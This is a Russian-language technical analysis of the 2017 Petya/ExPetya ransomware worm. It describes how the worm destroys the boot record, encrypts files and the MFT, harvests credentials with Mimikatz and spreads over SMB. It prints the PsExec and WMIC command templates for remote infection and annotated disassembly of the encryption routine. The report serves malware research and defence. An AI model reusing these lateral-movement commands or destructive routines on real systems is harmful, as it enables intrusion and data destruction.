SHA1:
- 34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d
Червь-шифровальщик, упоминаемый в СМИ как Petya, Petya.A, ExPetya, WannaCry-2 и др. Массовое распространение началось в первой половине дня 27 июня 2017 года. Представляет собой динамическую библиотеку, не упакован.
Общая последовательность действий:
- Настраивает для себя привилегии, проверяет наличие запущенных процессов, загружает свой бинарный файл в память.
- Выделяет память, создает в ней собственную копию и вызывает процедуру с RVA 0x94A5. Эта процедура выгружает оригинальный файл с помощью FreeLibrary, перезаписывает файл троянца на диске мусорными данными и удаляет его. После этого передает управление на perfc_1 загруженного троянцем образа.
- Разбирает параметры командной строки.
- Выполняет контроль повторного запуска.
- Портит загрузочную запись раздела (VBR).
- Создает задание на перезагрузку компьютера.
При запуске троянец проверяет наличие работающих процессов ccSvcHst.exe (Symantec Service Framework), NS.exe (Symantec) и avp.exe (Антивирус Касперского).
Принимает несколько параметров командной строки. Первый из них – число. Вероятно, оно используется для получения случайных чисел. Также понимает параметр -h (см. ниже).
Контроль повторного запуска
Контроль повторного запуска осуществляется только при наличии у троянца привилегии SeDebugPrivilege. Контроль своего повторного запуска энкодер осуществляет с помощью файла, который он сохраняет в папке C:\Windows\. Этот файл имеет имя, соответствующее имени троянца без расширения. Поскольку исследованный образец червя имеет имя perfc.dat, то файл, предотвращающий его повторный запуск, будет называться C:\Windows\perfc. В случае смены имени троянца наличие файла C:\Windows\perfc не будет спасать от заражения.
Уничтожение загрузочной записи
При наличии привилегии SeDebugPrivilege троянец уничтожает VBR диска C:, заполняя первый (считая с нуля) сектор мусорными данными. Затем он пытается зашифровать MBR. Если MBR содержит GPT или RAW-раздел, троянец его не шифрует. Шифрование осуществляется с использованием алгоритма XOR единственным байтом 0x07. Зашифрованная MBR сохраняется в сектор диска 0x22. Сектора до 0x22 также перезаписываются. Если зашифровать MBR не получилось, троянец заполняет первые 10 секторов мусорными данными.
Вредоносная программа способна очищать системные журналы с помощью wevtutil и удалять "change journal" с помощью fsutil.
Шифрование файлов
Шифрование файлов осуществляется только в логических разделах на фиксированных дисках, содержимое каждого диска шифруется в своем потоке. При шифровании используется алгоритм AES-128-CBC, для каждого диска создается собственный ключ. Этот ключ шифруется с использованием алгоритма RSA-2048 и сохраняется в корневую папку зашифрованного диска в файл с именем README.TXT. Зашифрованные файлы не получают дополнительного расширения.
Ресурсы
Троянец содержит 4 сжатых ресурса:
- MZPE x86 файл, SHA1 56c03d8e43f50568741704aee482704a4f5005ad - Tool.Mimikatz.64.
- MZPE x64 файл, SHA1 38e2855e11e353cedf9a8a4f2f2747f1c5c07fcf - Tool.Mimikatz.65.
- MZPE x86 файл, SHA1 cd23b7c9e0edef184930bc8e0ca2264f0608bcb3 - Sysinternals PsExec.
- Зашифрованный фрагмент кода, SHA1 5fb0843a2bbb58a92037f836a97f2f05fae71667 - Trojan.Inject2.55021.
Троянец сохраняет Sysinternals PsExec в папку %WINDIR% или %COMMON_APPDATA% под именем dllhost.dat. Каждый ресурс в первом значении DWORD хранит свой размер в несжатом виде.
Распространение
После запуска троянец начинает поиск компьютеров в локальной сети с использованием следующих способов:
- Перечисляет сетевые адаптеры с помощью GetAdaptersInfo, извлекает IP-адреса и маску подсети, а также извлекает IP-адрес DHCP.
- Если троянец запущен на сервере, то он перечисляет диапазоны DHCP DhcpEnumSubnets.
- Извлекает все активные соединения с помощью GetExtendedTcpTable.
- Извлекает информацию об ARP IP GetIpNetTable.
- Пытается перечислить машины в домене.
По полученному списку IP-адресов начинает сканирование портов 445 и 139. Обнаружив в сети машины, на которых открыты эти порты, Trojan.Encoder.12544 пытается инфицировать их с использованием широко известной уязвимости в протоколе SMB (CVE-2017-0144).
В зависимости от разрядности ОС троянец распаковывает соответствующую версию утилиты Mimikatz, сохраняет ее во временную папку, после чего запускает с именем pipe:
'%TEMP%\4214.tmp' \\.\pipe\{7AC40626-8E78-436F-8DFE-8EE9752FE743}
Информацию об учетных записях пользователей Windows троянец получает через этот pipe. Помимо использования утилиты Mimikatz, троянец получает данные об учетных записях пользователей с помощью следующих методов:
- Извлекает через CredEnumerateW с фильтром TERMSRV.
- Анализирует командную строку с параметром –h, в которой передается список учетных записей.
Затем троянец ищет открытые на запись сетевые ресурсы, пытается авторизоваться на них с использованием полученных данных об учетных записях и создать там собственную копию:
\\\\%ws\\admin$\\%ws
Заражение сетевых узлов осуществляется двумя методами:
- Запуском удаленного процесса с помощью утилиты Sysinternals PsExec, которую он извлекает из собственных ресурсов:
%s \\\\%s -accepteula -s -d C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\%s\",#1
- С помощью утилиты wbem\\wmic.exe:
%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\ process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1
Анализ заражения загрузочной записи
Процесс заражения загрузочной записи происходит в следующем порядке:
- Начиная с нулевого сектора записывает свой MBR и код троянца.
- Оригинальный MBR, зашифрованный с помощью алгоритма XOR, сохраняется в сектор 34.
- В сектор 33 сохраняется буфер, заполненный 0x07.
- В сектор 32 сохраняется структура, используемая для шифрования:
#pragma pack(push, 2)
struct data_info_t
{
char isEncode;
char key1_salsa20[32]; //рандомно генерируется, ключ salsa20
char key2_nonce[8]; //nonce salsa20
char bitcountAddr1[64]; //1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX (у старого Пети тут были urls)
char bitcountAddr2[64]; //пустой
char keyString[342]; //ключ который передается авторам, генерируется рандомно, пропускается через алфавит //123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
char field_0;
};
#pragma pack(pop)
Ключи key1_salsa20, key2_nonce, keyString генерируются случайным образом. Ключ key1_salsa20 используется для шифрования секторов диска. Ключ keyString передается авторам троянца, но так как он никак не связан с key1_salsa20, вирусописатели не смогут предоставить жертве ключ расшифровки диска.
После перезагрузки компьютера управление передается троянской загрузочной записи. Троянец читает сектор 32 и проверяет флаг data_info_t.isEncode==1 на наличие шифрованного диска. Если диск не зашифрован, троянец приступает к шифрованию. Для этого он читает содержимое сектора 33 и шифрует его s20_crypt. Алгоритм позаимствован из проекта https://github.com/alexwebr/salsa20. В качестве ключа используется data_info_t.key1_salsa20 и data_info_t.key2_nonce. При этом data_info_t.key1_salsa20 заполняется нулями, зашифрованный сектор 33 сохраняется, а также перезаписывается сектор 32 с нулевым значением key1_salsa20.
Сектор 33 служит идентификатором успешной расшифровки после ввода пользователем ключа, в этом случае он будет расшифровываться в тестовом режиме и сравниваться c массивом 0x07. Далее троянец приступает к шифрованию MFT.
Процедура шифрования выглядит следующим образом:
seg000:811A encodeProcess proc near ; CODE XREF: sub_84E8+DDp
seg000:811A
seg000:811A ind = dword ptr -1224h
seg000:811A key1 = byte ptr -1220h
seg000:811A sevenBuf = byte ptr -1200h
seg000:811A dataInfo = data_info_t ptr -200h
seg000:811A part = word ptr 4
seg000:811A arg_6 = byte ptr 0Ah
seg000:811A
seg000:811A C8 24 12 00 enter 1224h, 0
seg000:811E 56 push si
seg000:811F 68 BE 9A push offset aRepairingFileS ; "\r\n Repairing file system on C: \r\n\"...
seg000:8122 E8 B9 04 call printMSG
seg000:8125 5B pop bx
seg000:8126 6A 00 push 0 ; isWrite
seg000:8128 6A 01 push 1 ; countSect
seg000:812A 6A 00 push 0 ; int
seg000:812C 6A 20 push 32 ; int
seg000:812E 8D 86 00 FE lea ax, [bp+dataInfo]
seg000:8132 50 push ax ; outBuf
seg000:8133 8A 46 0A mov al, [bp+arg_6]
seg000:8136 50 push ax ; driverIndex
seg000:8137 E8 20 0B call readWriteDisk ; data info
seg000:813A 83 C4 0C add sp, 0Ch
seg000:813D 0A C0 or al, al
seg000:813F 74 06 jz short loc_8147
seg000:8141 E8 DA 07 call printTXT2
seg000:8144 5E pop si
seg000:8145 C9 leave
seg000:8146 C3 retn
seg000:8147 ; ---------------------------------------------------------------------------
seg000:8147
seg000:8147 loc_8147: ; CODE XREF: encodeProcess+25j
seg000:8147 C6 86 00 FE 01 mov [bp+dataInfo.isEncode], 1
seg000:814C 66 2B C0 sub eax, eax
seg000:814F 66 89 86 DC ED mov [bp+ind], eax
seg000:8154 EB 05 jmp short loc_815B
seg000:8156 ; ---------------------------------------------------------------------------
seg000:8156
seg000:8156 loop5: ; CODE XREF: encodeProcess+5Aj
seg000:8156 66 FF 86 DC ED inc [bp+ind]
seg000:815B
seg000:815B loc_815B: ; CODE XREF: encodeProcess+3Aj
seg000:815B 66 83 BE DC ED 20 cmp [bp+ind], 32
seg000:8161 73 13 jnb short loc_8176
seg000:8163 8B B6 DC ED mov si, word ptr [bp+ind]
seg000:8167 8A 82 01 FE mov al, [bp+si+dataInfo.key1_salsa20]
seg000:816B 88 82 E0 ED mov [bp+si+key1], al
seg000:816F C6 82 01 FE 00 mov [bp+si+dataInfo.key1_salsa20], 0
seg000:8174 EB E0 jmp short loop5
seg000:8176 ; ---------------------------------------------------------------------------
seg000:8176
seg000:8176 loc_8176: ; CODE XREF: encodeProcess+47j
seg000:8176 66 2B C0 sub eax, eax
seg000:8179 66 89 86 DC ED mov [bp+ind], eax
seg000:817E EB 05 jmp short loc_8185
seg000:8180 ; ---------------------------------------------------------------------------
seg000:8180
seg000:8180 loc_8180: ; CODE XREF: encodeProcess+8Aj
seg000:8180 66 FF 86 DC ED inc [bp+ind]
seg000:8185
seg000:8185 loc_8185: ; CODE XREF: encodeProcess+64j
seg000:8185 66 83 BE DC ED 20 cmp [bp+ind], 32
seg000:818B 73 19 jnb short loc_81A6
seg000:818D 6A 01 push 1 ; isWrite
seg000:818F 6A 01 push 1 ; countSect
seg000:8191 6A 00 push 0 ; int
seg000:8193 6A 20 push 32 ; int
seg000:8195 8D 86 00 FE lea ax, [bp+dataInfo]
seg000:8199 50 push ax ; outBuf
seg000:819A 8A 46 0A mov al, [bp+arg_6]
seg000:819D 50 push ax ; driverIndex
seg000:819E E8 B9 0A call readWriteDisk ; data info
seg000:81A1 83 C4 0C add sp, 0Ch
seg000:81A4 EB DA jmp short loc_8180
seg000:81A6 ; ---------------------------------------------------------------------------
seg000:81A6
seg000:81A6 loc_81A6: ; CODE XREF: encodeProcess+71j
seg000:81A6 6A 00 push 0 ; isWrite
seg000:81A8 6A 01 push 1 ; countSect
seg000:81AA 6A 00 push 0 ; int
seg000:81AC 6A 21 push 33 ; int
seg000:81AE 8D 86 00 EE lea ax, [bp+sevenBuf]
seg000:81B2 50 push ax ; outBuf
seg000:81B3 8A 4E 0A mov cl, [bp+arg_6]
seg000:81B6 51 push cx ; driverIndex
seg000:81B7 E8 A0 0A call readWriteDisk ; test encode data
seg000:81BA 83 C4 0C add sp, 0Ch
seg000:81BD 6A 00 push 0
seg000:81BF 68 00 02 push 200h ; __int32
seg000:81C2 8D 86 00 EE lea ax, [bp+sevenBuf]
seg000:81C6 50 push ax ; sizeSevenBuf
seg000:81C7 6A 00 push 0
seg000:81C9 6A 00 push 0 ; sevenBuf
seg000:81CB 8D 8E 21 FE lea cx, [bp+dataInfo.key2_nonce]
seg000:81CF 51 push cx ; keyHW8
seg000:81D0 8D 96 E0 ED lea dx, [bp+key1]
seg000:81D4 52 push dx ; bufEncodeKey32
seg000:81D5 E8 C0 15 call s20_crypt ; https://github.com/alexwebr/salsa20
seg000:81D8 83 C4 0E add sp, 0Eh
seg000:81DB 6A 01 push 1 ; isWrite
seg000:81DD 6A 01 push 1 ; countSect
seg000:81DF 6A 00 push 0 ; int
seg000:81E1 6A 21 push 33 ; int
seg000:81E3 8D 86 00 EE lea ax, [bp+sevenBuf]
seg000:81E7 50 push ax ; outBuf
seg000:81E8 8A 46 0A mov al, [bp+arg_6]
seg000:81EB 50 push ax ; driverIndex
seg000:81EC E8 6B 0A call readWriteDisk ; save test buf
seg000:81EF 83 C4 0C add sp, 0Ch
seg000:81F2 6A 01 push 1 ; char
seg000:81F4 68 52 9C push offset aChkdskIsRepair ; " CHKDSK is repairing sector"
seg000:81F7 8D 86 21 FE lea ax, [bp+dataInfo.key2_nonce]
seg000:81FB 50 push ax
seg000:81FC 8D 86 E0 ED lea ax, [bp+key1]
seg000:8200 50 push ax ; key
seg000:8201 FF 76 04 push [bp+part] ; part
seg000:8204 E8 91 0A call decodeDisk
seg000:8207 83 C4 0A add sp, 0Ah
seg000:820A E8 3B 07 call initMSG2
seg000:820D CD 19 int 19h ; DISK BOOT
seg000:820D ; causes reboot of disk system
seg000:820F 5E pop si
seg000:8210 C9 leave
seg000:8211 C3 retn
seg000:8211 encodeProcess endp
Этот код в целом идентичен используемому вредоносной программой Petya (за исключением текста требования), структура data_info_t – аналогичная и также сохраняется в сектор 32, однако key1_salsa20 и keyString формируются на основании эллиптических кривых.
Новость о троянце